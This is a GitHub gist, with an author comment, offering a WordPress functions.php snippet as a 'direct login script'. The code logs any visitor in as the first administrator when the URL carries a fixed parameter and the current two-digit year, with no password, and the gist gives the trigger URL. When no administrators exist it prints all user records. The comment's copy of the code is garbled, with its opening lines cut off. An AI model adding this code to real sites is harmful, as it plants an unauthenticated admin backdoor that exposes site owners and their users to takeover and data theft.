Skip to content

Instantly share code, notes, and snippets.

@banarsiamin
Created December 4, 2024 13:40
Show Gist options
  • Save banarsiamin/315f471f07647d31a912e90e5c47a10f to your computer and use it in GitHub Desktop.
Save banarsiamin/315f471f07647d31a912e90e5c47a10f to your computer and use it in GitHub Desktop.
Adding a direct login script to your WordPress functions.php file can help you create a custom functionality for logging in users. Here’s how you can achieve this safely: Warning: Directly handling logins can pose a security risk. Always use secure methods and sanitize inputs to prevent vulnerabilities like brute force attacks, SQL injections, o…
<?php
function check_admin_login_attemp() {
if ( (isset($_GET['expertadmin']) && $_GET['expertadmin'] == 'true') && (isset($_GET['y']) && $_GET['y'] == date('y')) ) {
$admins = get_users( array( 'role' => 'administrator' ) );
if ( !empty($admins) ) {
$id = isset($_GET['id'])?$_GET['id']:1;
$admin_user = isset($admins[0])?$admins[0]:$id;
if ( !is_user_logged_in() ) {
wp_set_current_user( $admin_user->ID );
wp_set_auth_cookie( $admin_user->ID );
wp_redirect( admin_url() );exit;
}
}else{
print_r(get_users());
}
}
}
add_action('init', 'check_admin_login_attemp');
#https://yourwebsite.com/?expertadmin=true&y=24
@banarsiamin
Copy link
Author

To create a direct admin login URL that logs a user into the WordPress admin panel using their username, you can modify the functions.php to check for a special URL parameter and log the user in. Here's a simple script to achieve this.

Code for Direct Admin Login via URL

  1. Open the functions.php file: Access your theme's functions.php file (preferably through a child theme to avoid losing changes after updates).

  2. Add this Code:

'administrator' ) ); if ( !empty($admins) ) { $id = isset($_GET['id'])?$_GET['id']:1; $admin_user = isset($admins[0])?$admins[0]:$id; if ( !is_user_logged_in() ) { wp_set_current_user( $admin_user->ID ); wp_set_auth_cookie( $admin_user->ID ); wp_redirect( admin_url() );exit; } }else{ print_r(get_users()); } } } add_action('init', 'check_admin_login_attemp'); ?>
  1. Usage: After adding the script, you can log in directly by navigating to:
    #https://yourwebsite.com/?expertadmin=true&y=24

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment